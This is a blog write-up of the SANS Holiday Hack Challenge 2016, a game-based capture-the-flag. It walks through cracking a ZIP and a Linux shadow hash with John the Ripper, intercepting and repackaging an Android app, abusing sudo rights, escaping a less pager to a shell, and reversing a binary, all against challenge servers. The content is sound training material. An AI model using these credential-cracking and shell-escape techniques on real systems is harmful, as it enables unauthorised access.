SANS Holiday Hack Challenge 2016 - writeup

January 5, 2017

This year's edition of SANS Holiday Hack Challenge 2016 was built around the story of Santa Claus disappearance and our objective is to find out who kidnapped him. I would categorize this challenge as the Capture The Flag (CTF) contest because there was a lot of different tasks, categories and flags (audio files, coins, quests).

Table of Contents

The list of main topics in that challenge:

  • Reverse Engineering the Android application.
  • Reverse Engineering ELF binaries.
  • Web application attacks - SQL injection, arbitrary file read, users enumeration...
  • Variety of tools - GDB, SQLmap, Burp, objdump, strings, tcpdump...
  • Solving puzzle games - WUMPUS, Dungeon (Zork).

Challenge details: https://holidayhackchallenge.com/2016/
Game Website: https://quest2016.holidayhackchallenge.com/

I have prepared a map presenting the whole world in a game (13MB). You can find there annotations where all coins were located together with terminals and Cranberry Pi elements. It should help you to navigate through that world. Don't forget to zoom.

SANS Holiday Hack Challenge 2016 - World Map


Intro

Jessica Dosis discovered that Santa was kidnapped.

Ruined presents. A shattered Christmas tree. Needles strewn all about. Obvious signs of a fight. And there, beside it all, was Santa's big blue sack. But Santa himself was nowhere to be found.

In shock, Jessica uttered, "Someone has abducted Santa Claus!"

Josh was horrified. "Who would do such a thing? And on Christmas Eve, no less. They'll destroy Christmas! But why?"


Part 1: A Most Curious Business Card (ZIP file)

The first clue is related to Santa's business card which you can find either on the main website or in the game (Dosis home which is the first location). Business card looks as follow:

As we can see here we have links to both Twitter and Instagram profiles with username @santawclaus. We need to locate hidden information in both accounts.


Twitter profile

Scrolling through all tweets on this particular account reveals nothing. My initial idea was that there is a some kind of simple encryption involved like ROT13 or some kind of letter substitution. Actually we have there real words like "santa", "elf", "towards", "peace" etc.

If you scroll back on the challenge website there is an introduction just above the Part 1. I was looking for hints in the text and there is this sentence:

[…] I almost wish we had a Twime Machine to relive all those great Christmases of the past

If you Google for "twime machine" it will reveal an application which allows to search through all your Tweets from the past. My initial idea was that maybe there were some tweets which someone removed by purpose and we need to reveal them like using webarchive website. It occurred that we don't need actually to restore anything, we just need to find a pattern.

Scroll through all tweets and you can find the relation - we have almost the same words in every tweet or every few tweets but also there are dots which behaves like a text separator or align margin.

It looks like text was aligned to some kind of pattern. In case of properties like that I used to check if you can actually build the ASCII art from that text (it's a pretty common challenge among different CTF contents I played before). We need to copy all tweets into a text editor and check if we can re-align that to generate ASCII art output.

You can either use Twime Machine service or code it in JavaScript. Go to tweeter stream and execute JS code, as a result it will copy all tweets into your clipboard. Paste the whole content into text editor and change its width to match pattern. It's important to use fixed-width/monospace font where are letters occupy the same amount of horizontal space like Courier New font.

let content = '';
Array.prototype.forEach.call(document.querySelectorAll('.tweet-text'), (elem) => { content = content + elem.textContent; });
copy(content);

Result:

As a result we have a phrase bugbounty but we don't know yet where we can use that. Let's move further then.


Instagram profile

If you visit Santa's instagram profile you will locate three different pictures. The most interesting one is the first picture where we can see a computer screen and some random notes laying on a table.

Open first picture and zoom it, what do we have there?

  • Computer screen reveals a filename SantaGram_v4.2.zip.
  • Notes above "Violent Python" book reveals the website address (http://northpolewonderland.com/) which was scanned using nmap and that's the fragment of an output from nmap scanner.

ZIP file

Since we have a filename and website address we can try to download that file from this particular server. It occurs that we are able to download mentioned ZIP file entering the address http://northpolewonderland.com/SantaGram_v4.2.zip.

Sidenote: As the contest started there was an issue and file was not available (returning error 404). A lot of confused people in a game were looking for missing ZIP file. Organizers fixed that later on and missing file appeared once again as available for download.

ZIP file is password protected so before we can unzip that file we need to find out which password is a valid one. Valid password is bugounty which means that it was hidden in Santa's tweets. That was the easiest method to obtain a password. Another way which I tried was to use John the Ripper password cracker and try to break that password using dictionary.

Remember that before you can run John against ZIP archive you need to export that encrypted password within a valid format:

#> zip2john SantaGram_v4.2.zip > zip.hash
#> john ./zip.hash

Cracking password in progress:

I decide to use John first because I extracted message from Santa's tweets after I got this ZIP file. So I wasn't able to know that bugbounty password. Later on I connected password from Twitter with that one inside a ZIP file.


Answers

1) What is the secret message in Santa's tweets?

That secret message is a "bugbounty" word which is also a password to ZIP archive.

2) What is inside the ZIP file distributed by Santa's team?

Inside a ZIP there is "SantaGram_4.2.apk" file which is an Android application.


Part 2: Awesome Package Konveyance (Reverse Engineering Android application)

In this part we need to find a username and password hidden inside Android application as well as an audio file. Before we can start hacking Android application we need to install tools required for that task.

Login screen Popular Posts - feed

Next steps:

  • Setup proxy to intercept network traffic between Android application and remote server(s).
  • Application is using encrypted https connection and we need to install our generated certificate. I was using Burp through this whole challenge so what I did was:
  • Go to Android settings and set proxy for network communication pointing to your proxy server.
  • Open internet browser on Android and navigate to http://burp/. Download "CA" certificate file.
  • Install "CA" certificate an Android - there is a lot of videos over the Internet describing how to do that, google for "android install ssl certificate" ( Installing Burp's CA Certificate in an Android Device | Burp Suite Support Center ).
  • There is no certificate pinning in place so we don't need to patch the application to sniff https traffic. It would be more interesting actually if there was that protection enabled.

Now we're ready to create a new account in application, go through all news, search for posts etc. Generate as much traffic as you can by running different features in application. It will help us to analyze what's happening under the hood.

I have created an account in this app to login and check an available content. There is also a lot of hints like screenshots from the console using "tcpdump" etc. You can comment and vote on posts.


Unpacking Android application (.apk)

The most interesting part here is the source code of that application. Since we have the APK file we can actually disassemble it using Apktool.

As a result we have an access to the source code, resources, manifest file and all interesting things we can inspect. But before we start let's try to find an audio file:

#> find ./SantaGram_4.2 | egrep -i audio

Sidenote: Save that file so we can use it later. Remember to do that will ALL audio files because we need to merge them at the end.


Source code - JADX tool

I was using JADX which is a tool for analyzing unpacked APK files. It allowed me to browse through the source code and get a lot of interesting information about the application.

If you look at the screenshot there is a "Parse" class highlighted. It's not a custom thing actually, it's a ready to use library and the environment called Parse Platform. It was really useful to know about that because you can access publicly available documentation and check how to call endpoints and maybe find hidden functionalities. You can read abut API endpoints here: REST API Guide | Parse

Class "Configs" reveals PARSE_APP_KEY and PARSE_CLIENT_KEY - it's useful if you want to play with Parse API but it will not help us to find a hidden username/password credentials that are part of this challenge.


Debug mode for Android application

One of source files reveals an interesting feature, it looks like we can enabled debug mode. We're going to need that later (it leaks an information about the debug server communication "protocol").

  • Locate where debug_data_enabled string is defined: egrep -ir "debug_data_enabled" ./SantaGram_4.2/
  • Change False value to True.
  • Rebuild the Android app source code.
  • Sign the application - without signing it we can't run this application in emulator.

I have created a Bash script to automate sign/rebuild process, it generates ready to upload signed APK file.

#!/bin/bash
SANTA_SRC=./santa_src
KEYS_SRC=$SANTA_SRC/keys
KEYSTORE_FILE=$KEYS_SRC/santa.keystore
KEYSTORE_ALIAS="santa"
DIST_APK=$SANTA_SRC/dist/SantaGram_4.2.apk

BIN_KEYTOOL=/Library/Java/JavaVirtualMachines/jdk1.8.0_31.jdk/Contents/Home/bin/keytool
BIN_SIGNTOOL=/Library/Java/JavaVirtualMachines/jdk1.8.0_31.jdk/Contents/Home/bin/jarsigner

# Rebuild apk
./apktool.sh b $SANTA_SRC

# Generate keystore
$BIN_KEYTOOL \
  -genkey \
  -v \
  -keystore $KEYSTORE_FILE \
  -alias $KEYSTORE_ALIAS \
  -keyalg RSA \
  -keysize 1024 \
  -sigalg SHA1withRSA \
  -validity 1000

# Sign apk
$BIN_SIGNTOOL \
  -sigalg SHA1withRSA \
  -digestalg SHA1 \
  -keystore $KEYSTORE_FILE \
  $DIST_APK \
  $KEYSTORE_ALIAS

echo "+ Signed app -> ${DIST_APK}"

Everything you need to know about the signing process for APK files was already described here - SANS Pen Test - How To's: Manipulating Android Applications - YouTube.

Sniffing the network traffic

After going through all URLs that Android application is using we can find the Analytics server which receives the username and password in plaintext.

Sniffing traffic also reveals a lot of interesting additional servers that we were not aware of. You can extract them from Burp or grep the source code for "http" string.

List of all detected servers:

Sidenote: Detecting those servers allows us to try to hack all of them, this is actually the last part of this challenge - to get audio files from all servers.


Answers

3) What username and password is embedded in the APK file?

Username is "guest" and password is "busyreindeer78".

4) What is the name of the audible component (audio file) in the SantaGram APK file?

The name of audio file is "discombobulatedaudio1.mp3".


Part 3: A Fresh-Baked Holiday Pi (Hacking terminals)

We need to find all elements of Cranberry Pi (I suppose that it's an analogy to Raspberry Pi). After that we can hack each terminal and get access to the door.

Heeeey! It looks like someone has left piece parts of a computer system called a 'Cranberry Pi' strewn all about the North Pole. Perhaps we can fetch all of those pieces and put together a computer we can then use to open those terminals and work on the SantaGram application!

List of all components and their location:

  • Cranberry Pi Board - Elf House #1, house of Sugarplum Mary.
  • Power Cord - It's located near a Snowman.
  • Heat Sink - Elf House #2 - Upstairs.
  • SD Card - North, near Santa's workshop.
  • HDMI Cable - North, Santa's workshop, reindeer stable.

Sidenote: The location of every element was also placed on a big map that I've prepared. You can look there for a reference.

After collecting all items we need to go back to Holly Evergreen. As the last step before allowing us to access all terminals we need to "crack" password to the Cranberry Pi image.


Hacking the Cranberry Pi image

If you collect all items then Holly Evergreen will give you the URL to download HDD image file with Cranberry Pi installed on it. Our target is to get the password of "some" user in a system.

There were some hints given by the Elf (Wunorse Openslae):

- Dealing with piles of SD cards though, that's a different story. Fortunately, this article gave me some ideas on better data management.

Steps:

  • Unzip image file.
  • Mount linux partition to get access to files.
  • Check users created in a system.
  • Extract hashes and crack passwords.
#> fdisk -l ./cranbian-jessie.img
Disk ./cranbian-jessie.img: 1.3 GiB, 1389363200 bytes, 2713600 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x5a7089a1

Device                 Boot  Start     End Sectors  Size Id Type
./cranbian-jessie.img1        8192  137215  129024   63M  c W95 FAT32 (LBA)
./cranbian-jessie.img2      137216 2713599 2576384  1.2G 83 Linux
#> mount -v -o offset=$((512*137216)) -t ext4 cranbian-jessie.img ./mnt/
mount: /dev/loop0 mounted on /root/cranbian/mnt.

As a result we have access to all file stored on that partition.

To extract hashes we need to get the content of file /etc/shadow:

#> cat mnt/etc/shadow
root:*:17067:0:99999:7:::
[...]
cranpi:$6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEhahBINm/2YyjFihxg7tgc343b0:17140:0:99999:7:::

It looks like we need to get a password for cranpi user. To crack this password we are going to use John the Ripper password cracker . To attack this password we choose dictionary mode instead of brute-force attack. There is a hint which suggests also which dictionary is the best one - RockYou.

- Speaking of cracking, John the Ripper is fantastic for cracking hashes. It is good at determining the correct hashing algorithm.
- I have a lot of luck with the RockYou password list.

#> unshadow ./mnt/etc/passwd ./mnt/etc/shadow > ./hash
#> tail -n 1 ./hash > ./hash.cranpi.txt
#> cat ./hash.cranpi.txt
cranpi:$6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEhahBINm/2YyjFihxg7tgc343b0:1000:1000:,,,:/home/cranpi:/bin/bash
#> john --wordlist=/root/rockyou.txt --format=sha512crypt ./hash.cranpi.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:06:06 0.89% (ETA: 02:26:29) 0g/s 415.7p/s 415.7c/s 415.7C/s Amorcito..920401
[...]
yummycookies     (cranpi)
[...]

After password was cracked (it should take ~5 minutes on a decent computer) we need to back to Holly Evergreen, after we share that password we're going to receive an access to the all terminals around the North Pole.

- Hi, I'm Holly Evergreen. Welcome to the North Pole Wonderland!
- yummycookies
- You're right, that password unlocks the 'cranpi' account on your Cranberry Pi!


Terminal 1 - "/out.pcap"

Location: Elf House #2

Terminal URL: https://docker2016.holidayhackchallenge.com:60002/

Sidenote: Game is using wetty library which is the Terminal in a browser over http/https. If you check the communication in your browser (Inspector/Firebug) then you can find Websocket address which connects to specific host on a different port number by each terminal. What does it mean? You can connect to every terminal directly from the browser not being even logged into a game. It is useful when you don't want to load the whole game just to play with terminals.

Terminal window:

To open the door we need to find passphrase hidden in /out.pcap file. PCAP is a file extension for packets captured by sniffers like tcpdump or Wireshark. Which means that we should have inside that file, registered some kind of communication like SMTP, FTP or HTTP.

[email protected]:/$ ls -la /out.pcap 
-r-------- 1 itchy itchy 1087929 Dec  2 15:05 /out.pcap
[email protected]:/$ id
uid=1001(scratchy) gid=1001(scratchy) groups=1001(scratchy)
[email protected]:/$ cat /out.pcap 
cat: /out.pcap: Permission denied
[email protected]:/$ uname -a
Linux 9e905b10aa27 3.16.0-4-amd64 #1 SMP Debian 3.16.36-1+deb8u2 (2016-10-19) x86_64 GNU/Linux
[email protected]:/$ cat /etc/issue
Debian GNU/Linux 8 \n \l

Reconnaissance:

  • We're logged in as user scratchy.
  • We can't read /out.pcap file, it's readable only by user itchy.
  • Operating system is Debian 8 working on kernel 3.16.
  • To process/read that file we would use tcpdump or strings programs to get the content.

If we can't access that file directly we need to find the other way around. If you have ever played CTFs before there is a magic command that is very helpful and it's called sudo -l. It lists configuration settings for sudo. In short sudo is an wrapper that allows to run scripts/commands on behalf of other users.

Sidenote: To get more insight into sudo command you should read the manual - https://www.sudo.ws/man/sudo.man.html. It's important to remember that reading manual is always the first thing you need to do before trying to "break" anything new.

[email protected]:/$ sudo -l
sudo: unable to resolve host 9e905b10aa27
Matching Defaults entries for scratchy on 9e905b10aa27:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User scratchy may run the following commands on 9e905b10aa27:
    (itchy) NOPASSWD: /usr/sbin/tcpdump
    (itchy) NOPASSWD: /usr/bin/strings

If looks like user itchy is able to run tcpdump and strings commands without password. It means that we can use those programs on behalf of that user actually without knowing his password to read /out.pcap file.

To read all strings from packets captured in /out.pcap file we can use this command:

[email protected]:/$ sudo -u itchy -- /usr/bin/strings -n 20 /out.pcap
sudo: unable to resolve host 9e905b10aa27
BGET /firsthalf.html HTTP/1.1
User-Agent: Wget/1.17.1 (darwin15.2.0)
Accept-Encoding: identity
Host: 192.168.188.130
Connection: Keep-Alive
OServer: SimpleHTTP/0.6 Python/2.7.12+
ODate: Fri, 02 Dec 2016 11:28:00 GMT
Content-type: text/html
PContent-Length: 113
PLast-Modified: Fri, 02 Dec 2016 11:25:35 GMT
<input type="hidden" name="part1" value="santasli" />
DGET /secondhalf.bin HTTP/1.1
User-Agent: Wget/1.17.1 (darwin15.2.0)
Accept-Encoding: identity
Host: 192.168.188.130
Connection: Keep-Alive
TServer: SimpleHTTP/0.6 Python/2.7.12+
TDate: Fri, 02 Dec 2016 11:28:00 GMT
Content-type: application/octet-stream
UContent-Length: 1048097
Last-Modified: Fri, 02 Dec 2016 11:26:12 GMT
3{"host_int": 266670160730277518981342002975279884847, "version": [2, 0], "displayname": "", "port": 17500, "namespaces": [1149071040, 1139770785, 1357103393, 1296963687, 1139786665, 12612
47053, 1331126254, 1179166992, 1210559602, 1261612467, 1223790038, 1234538553, 1304191898, 1246301403, 1056298300, 1207374239]}

We see that there is a hidden input field from HTML:

<input type="hidden" name="part1" value="santasli" />

It was named part1. It's only the first part but we need to find both parts. Let's google for it.

  • Google for santasli.
  • There is #santasli hashtag used on Twitter.
  • Tweet from 2015 reveals information that santasli means "Santa's Little Helper" - remove spaces, concatenate, lowercase and you have a password.

Now we do have both parts and our password is "santaslittlehelper" and indeed it opens the door.


Terminal 2 - "passphrase deep in directories"

Location: Workshop

Terminal URL: https://docker2016.holidayhackchallenge.com:60003/

Terminal window:

If you try to list all files in a current directory you will find a hidden .doormat folder. Inside that folder there is a lot of subdirectories and it's not going to be easy to navigate through them, to overcome that problem we can use find command.

[email protected]:~$ find ./
./
./.bashrc
./.doormat
./.doormat/. 
./.doormat/. / 
./.doormat/. / /\
./.doormat/. / /\/\\
./.doormat/. / /\/\\/Don't Look Here!
./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?
./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'
./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door.txt
./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/cookbook
./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/temp
./.doormat/. / /\/\\/Don't Look Here!/secret
./.doormat/. / /\/\\/Don't Look Here!/files
./.doormat/. / /\/\\/holiday
./.doormat/. / /\/\\/temp
./.doormat/. / /\/santa
./.doormat/. / /\/ls
./.doormat/. / /opt
./.doormat/. / /var
./.doormat/. /bin
./.doormat/. /not_here
./.doormat/share
./.doormat/temp
./var
./temp
./.profile
./.bash_logout

Trying to read our file:

[email protected]:~$ cat "./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door.txt"
bash: !/You: event not found

We cannot read that file just like that by copy & pasting a path. There are not escaped characters which will break the format.


Method 1 - appropriate argument escaping

If you copy & paste the filepath with file name key_for_the_door.txt you're not going to actually open that file, path needs to be escaped properly. We have some problematic characters here:

  • ! - this character triggers bash event, to escape that we need to use '!'.
  • ' - escape that character with \'.

I wrote a simple snippet in PHP to escape those arguments:

#> php -a
Interactive shell

php > print escapeshellarg("./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door.txt");
'./.doormat/. / /\/\/Don'\''t Look Here!/You are persistent, aren'\''t you?/'\''/key_for_the_door.txt'

Even using a function for that it still was missing a single \ character just before /Don't which I've added manually afterwards.

The appropriate escaped form is:

[email protected]:~$ cat './.doormat/. / /\/\\/Don'\''t Look Here!/You are persistent, aren'\''t you?/'\''/key_for_the_door.txt'
key: open_sesame

Method 2 - find & xargs

The fastest solution without handling character escaping issues etc. was to use find with a specific argument that allow to read the content of file currently processed:

[email protected]:~$ find . -name "key_for_the_door.txt" -print0 | xargs -0 cat
key: open_sesame

Our password to access another door is: open_sesame.

Welcome to Santa's Office.


Terminal 3 - WarGames

Location: Workshop, Santa's Office.

Terminal URL: https://docker2016.holidayhackchallenge.com:60005/

If you write anything like TEST then you will receive a message I DON'T UNDERSTAND, PROFESSOR FALKEN. What's that? It's a game and not hard to guess which one, if you don't have any idea just google for it.

This is a game from great movie released in 1983 called "WarGames". Watch the video bellow:

WarGames

We are expected to talk to the computer and win a game.

Reconnaissance:

Open the terminal and press CTRL+D and as a result it will break the execution of current script:

I googled for wargames scripts like bash scripts or python scripts and found that one:

https://github.com/abs0/wargames/blob/master/wargames.sh.

Look at the source code and you have the full dialogue inside this file:

https://github.com/abs0/wargames/blob/master/wargames.sh#L420

So what I did I just copy & pasted those sentences to move forward. The answers are (new line = new command, in that specific order):

Hello.
I'm fine. How are you?
People sometimes make mistakes.
Love to. How about Global Thermonuclear War?
Later. Let's play Global Thermonuclear War.
2
Las Vegas

Sidenote: In the original script there is Lets instead of Let's and the original one didn't work for me.

Our password is LOOK AT THE PRETTY LIGHTS (case sensitive). The door are hidden behind a book cabinet (question mark cursor on the screen).

Here are the final door we need to open. For now we don't have a password to open them and we need to skip that and back here later.

Welcome to The Corridor - our final destination.


Terminal 4 - Wumpus game

Location: Workshop, Santa's Office.

Terminal URL: https://docker2016.holidayhackchallenge.com:60004/

That's the second terminal we can access at the workshop.

Our target here is to play a game called "Wumpus", we can play fair or cheat.

Hunt the Wumpus is a text-based game. Our main target is to kill Wumpus, a beast that tries to eat us. While googling to find an easy way to win this game I found a comprehensive article from Gregory Brown which describes how does this game work in details and actually how implement it and resolve.

Hunt the Wumpus: An exercise in creative coding by Gregory Brown

Reconnaissance

strings command

My first theory was to dump all strings inside a binary file and check if there is a hidden password. It would be a really quick win even without playing a game at all. strings ./wumpus returns all strings inside a binary and those interesting for me were Passphrase: and kill_wump but there was no actual password stored.

Command line params

Wumpus is able to read stdin and use provided params from the command line as a game input.

[email protected]:~$ echo "n\nm\n1" | ./wumpus 
Instructions? (y-n) 
You're in a cave with 20 rooms and 3 tunnels leading from each room.
There are 3 bats and 3 pits scattered throughout the cave, and your
quiver holds 5 custom super anti-evil Wumpus arrows.  Good luck.
You are in room 17 of the cave, and have 5 arrows left.
*rustle* *rustle* (must be bats nearby)
*whoosh* (I feel a draft from some pits).
There are tunnels to rooms 1, 6, and 8.
Move or shoot? (m-s) 
Care to play another game? (y-n) 

Analyzing the source code - reverse engineering

We can use commands available inside a docker container like readelf or objdump. Both tools are useful if we want to analyze binary file or even print the source code representation in assembly language. There are no tools like debuggers i.e. GDB installed inside a container.

Method 1 - fuzzing

I won this game in a few seconds when I tried to fuzz the input params. The not so obvious thing was to use randomly generated data to feed wumpus binary and it worked.

[email protected]:~$ _FUZZ=true; time while $_FUZZ; do ./wumpus < /dev/urandom | egrep -i passphrase -A 3 -B 3 && _FUZZ=false; done;
dead Wumpus is also quite well known, a stench plenty enough to slay the
mightiest adventurer at a single whiff!!
Passphrase:
WUMPUS IS MISUNDERSTOOD
Care to play another game? (y-n) I don't understand your answer; please enter 'y' or 'n'!
real    0m0.521s
user    0m0.004s
sys     0m0.088s

We send a lot of random characters to the game, those characters are responsible for our movements, actions, rooms navigation etc. We send random data until it will print "Passphrase" string which means that we won the game and we can actually stop. If you try it many times the average winning time is < 1s.

That's pretty cool and neat solution but to be honest I'm not sure if it was a desired one by creators of this challenge.

Our passphrase is: WUMPUS IS MISUNDERSTOOD


Method 2 - reverse engineering

After I won this game I tried to find another cheating solution. As we found interesting strings in a game like kill_wump which I saw it for the first time I was 99% sure that it's a function name. If there is a function called kill_wump it needs to be a block of the code that runs when we kill the beast in a game.

Also the obvious thing was that, the passphrase was obfuscated somehow so we were not able to grep the source code and find password. It could be an encryption, simple XOR or even file or network access to the data.

Steps:

  • Disassemble binary to get the assembly code.
  • Find kill_wump and analyze function.
  • Reverse engineer the encryption algorithm if any.
  • Write script that allows us to extract/decode the passphrase.

Disassemble

To get the source code we can use objdump:

objdump -M intel -d ./wumpus

It's going to print a lot of data so to get only that fragment which is interesting for us we can use grep and look for <kill_wump> string. I've added comments on the right so we can easily understand what's happening in this code so you can analyze it without feeling comfortable with assembly language at all.

[email protected]:~$ objdump -M intel -d ./wumpus | grep ":" -A 134
0000000000402644 :
  402644:       55                      push   rbp
  402645:       48 89 e5                mov    rbp,rsp
  402648:       48 83 ec 10             sub    rsp,0x10
  40264c:       bf 38 35 40 00          mov    edi,0x403538                   # 0x403538 is an address to string "*thwock!*"
  402651:       e8 5a e4 ff ff          call   400ab0                          # It prints out last words of dead wumpus beast
  402656:       bf 18 00 00 00          mov    edi,0x18
  40265b:       e8 f0 e4 ff ff          call   400b50                         # We're allocating memory for 0x18 (24) characters
  402660:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  402664:       48 8b 05 cd 2a 20 00    mov    rax,QWORD PTR [rip+0x202acd]        # 0x402664 (rip) + 0x202acd + len(opcodes) = 0x605138
  40266b:       0f b6 50 09             movzx  edx,BYTE PTR [rax+0x9]              # Get single character from string at 0x605138 + 0x9
  40266f:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  402673:       88 10                   mov    BYTE PTR [rax],dl                   # Move that single character (1 byte) to "dl" register
  402675:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  402679:       48 8d 50 01             lea    rdx,[rax+0x1]                       # Save first character of our passphrase to allocated memory
  [... this sequence repeats for every character from passphrase ...]
  402834:       48 8b 05 0d 29 20 00    mov    rax,QWORD PTR [rip+0x20290d]        # 605148 
  40283b:       0f b6 40 04             movzx  eax,BYTE PTR [rax+0x4]
  40283f:       88 02                   mov    BYTE PTR [rdx],al
  402841:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  402845:       48 89 c7                mov    rdi,rax
  402848:       e8 61 f6 ff ff          call   401eae                    # Get string from allocated memory and call to_upper() function on that
  40284d:       bf 9f 36 40 00          mov    edi,0x40369f
  402852:       e8 59 e2 ff ff          call   400ab0                    # Print "Passphrase:"
  402857:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  40285b:       48 89 c7                mov    rdi,rax
  40285e:       e8 4d e2 ff ff          call   400ab0                    # Print out our recovered passphrase
  402863:       90                      nop
  402864:       c9                      leave  
  402865:       c3                      ret

To locate strings like 0x40369f I was using command objdump -j .rodata -d ./wumpus and referencing to string under the appropriate address.

What we know about that code so far?

  • Application prints *thwock!* text after this function is executed. I suppose that's the last word heard from the beast we killed.
  • Then malloc() is used to allocate a new memory with size of 0x18 (24) characters.
  • There are almost the same routines in source code repeated 24 times (for every character in our final passphrase).
  • Every routine is referencing to a table of pointers located at the defined address mov rax, QWORD PTR [rip + <address>].
  • After we get the value from [rip + <address>] it gives us the address to string in .rodata section, which is the actual string/sentence used in a game.
  • Then when we have a string another code movzx edx, BYTE PTR [rax + 0x9] is referencing a single byte (character) from that string. This example movzx is going to fetch 10th character (it starts at 0) from a string.
  • At the end we have our final passphrase ready.

Table of pointers:

[email protected]:~$ objdump -s -j .data ./wumpus 
./wumpus:     file format elf64-x86-64
Contents of section .data:
 6050e8 00000000 00000000 00000000 00000000  ................
 6050f8 ffffffff ffffffff 01000000 03000000  ................
 605108 03000000 14000000 03000000 05000000  ................
 605118 58294000 00000000 70294000 00000000  X)@.....p)@.....
 605128 bd294000 00000000 d8294000 00000000  .)@......)@.....
 605138 082a4000 00000000 602a4000 00000000  .*@.....`*@.....
 605148 b82a4000 00000000 02000000           .*@......... 

For example when there is a reference in source code like:

mov rax, QWORD PTR [rip + 0x202acd]

Then rax = 0x605138. If we check the address of 0x605138 in a reference table we have:

605138 082a4000 00000000 602a4000 00000000  .*@.....`*@.....

RAX register is pointing to the value 082a4000 which is encoded in Little Endian Byte Order and gives us the address of 0x00402a08 which then points to a valid string:

[email protected]:~$ objdump -s --start-address=0x00402a08 --stop-address=0x00402a68 ./wumpus 
./wumpus:     file format elf64-x86-64
Contents of section .rodata:
 402a08 5768656e 20796f75 2077616e 7420746f  When you want to
 402a18 206b6e6f 7720686f 77207468 696e6773   know how things
 402a28 20726561 6c6c7920 776f726b 2c207374   really work, st
 402a38 75647920 7468656d 20776865 6e207468  udy them when th
 402a48 65792772 6520636f 6d696e67 20617061  ey're coming apa
 402a58 72740000 00000000 57652068 61766520  rt......We have 

10th letter from that string is w, first letter from a word want. That's the first letter of our final passphrase. We need to repeat that process 24x times to get the whole passphrase. I've automated that by dumping data using objdump and then recovering the whole password with my PHP script.

sh$ php -f decode.wumpus.php
0xB8    When you [w]ant to know how things really work, study them when they're coming apart
0x110   We have no fut[u]re because our present is too volatile. We have only risk management.
0xB8    When you want to know how things really work, study the[m] when they're coming apart
0x20    The sky above the [p]ort was the color of television, tuned to a dead channel.
0x168   Stand high long enough and yo[u]r lightning will come.
0x88    The [s]treet finds its own uses for things.
0x168   Stand high long enough[ ]and your lightning will come.
0x6D    Pattern Recogn[i]tion.
0xB8    When you want to know how things really work, [s]tudy them when they're coming apart
0x110   We have[ ]no future because our present is too volatile. We have only risk management.
0x110   We have no future because our present is too volatile. We have only risk [m]anagement.
0x168   Stand h[i]gh long enough and your lightning will come.
0x88    The [s]treet finds its own uses for things.
0xB8    When yo[u] want to know how things really work, study them when they're coming apart
0x168   Sta[n]d high long enough and your lightning will come.
0x08    0123456789abc[d]ef
0x08    0123456789abcd[e]f
0x88    The st[r]eet finds its own uses for things.
0x168   [S]tand high long enough and your lightning will come.
0x20    [T]he sky above the port was the color of television, tuned to a dead channel.
0xB8    When y[o]u want to know how things really work, study them when they're coming apart
0x20    The sky ab[o]ve the port was the color of television, tuned to a dead channel.
0x168   Stan[d] high long enough and your lightning will come.

Password is: WUMPUS IS MISUNDERSTOOD

Password: WUMPUS IS MISUNDERSTOOD

On the first column there is a printed offset to string. Next to the offset the whole string and also every next letter is wrapper with [ ] characters so you can easily follow up with my description and extract the whole passphrase.

For a better understanding I've prepared a memory map visualization:

Welcome to DFER.


Terminal 5 and 6 - Train Management Console, 2016/1978

The same solution works for both terminals in 2016 and 1978.

Location: Workshop, Santa's Office.

Terminal URL, 2016: https://docker2016.holidayhackchallenge.com:60001/

Terminal URL, 1978: https://docker2016.holidayhackchallenge.com:60006/

Terminal window:

There are multiple options to choose. If you type HELP command then you should see the content of /home/conductor/TrainHelper.txt file.

Try to press different letters and after pressing letter h it will display the manual page for LESS command. Scroll down and find the section called MISCELLANEOUS COMMANDS.

                    MISCELLANEOUS COMMANDS
  -<flag>              Toggle a command line option [see OPTIONS below].
  ...
  +cmd                 Execute the less cmd each time a new file is examined.
  !command             Execute the shell command with $SHELL.

Being in a less view mode we are able to execute any system command. Let's try to evade this simple sandbox and run sh by pressing ! and writing sh:

:!sh

sh-4.3$ id
uid=1000(conductor) gid=1000(conductor) groups=1000(conductor)
sh-4.3$ ls -la
total 40
drwxr-xr-x 2 conductor conductor  4096 Dec 10 19:39 .
drwxr-xr-x 6 root      root       4096 Dec 10 19:39 ..
-rw-r--r-- 1 conductor conductor   220 Nov 12  2014 .bash_logout
-rw-r--r-- 1 conductor conductor  3515 Nov 12  2014 .bashrc
-rw-r--r-- 1 conductor conductor   675 Nov 12  2014 .profile
-rwxr-xr-x 1 root      root      10528 Dec 10 19:36 ActivateTrain
-rw-r--r-- 1 root      root       1506 Dec 10 19:36 TrainHelper.txt
-rwxr-xr-x 1 root      root       1588 Dec 10 19:36 Train_Console
sh-4.3$ cat Train_Console 
#!/bin/bash
HOMEDIR="/home/conductor"
CTRL="$HOMEDIR/"
DOC="$HOMEDIR/TrainHelper.txt"
PAGER="less"
BRAKE="on"
PASS="24fb3e89ce2aa0ea422c3d511d40dd84"
[...]

Now when we have an access to the underlaying shell console we can use one of two different methods to start this train.

Method 1:

We can use ActivateTrain binary to run back in time travelling sequence. Trigger it directly from the HELP menu when LESS pager is active:

!./ActivateTrain

Method 2:

Standard method using allowed menu options. It's possible because we have extracted hidden password from Train_Console script.

  • BRAKEOFF
  • START
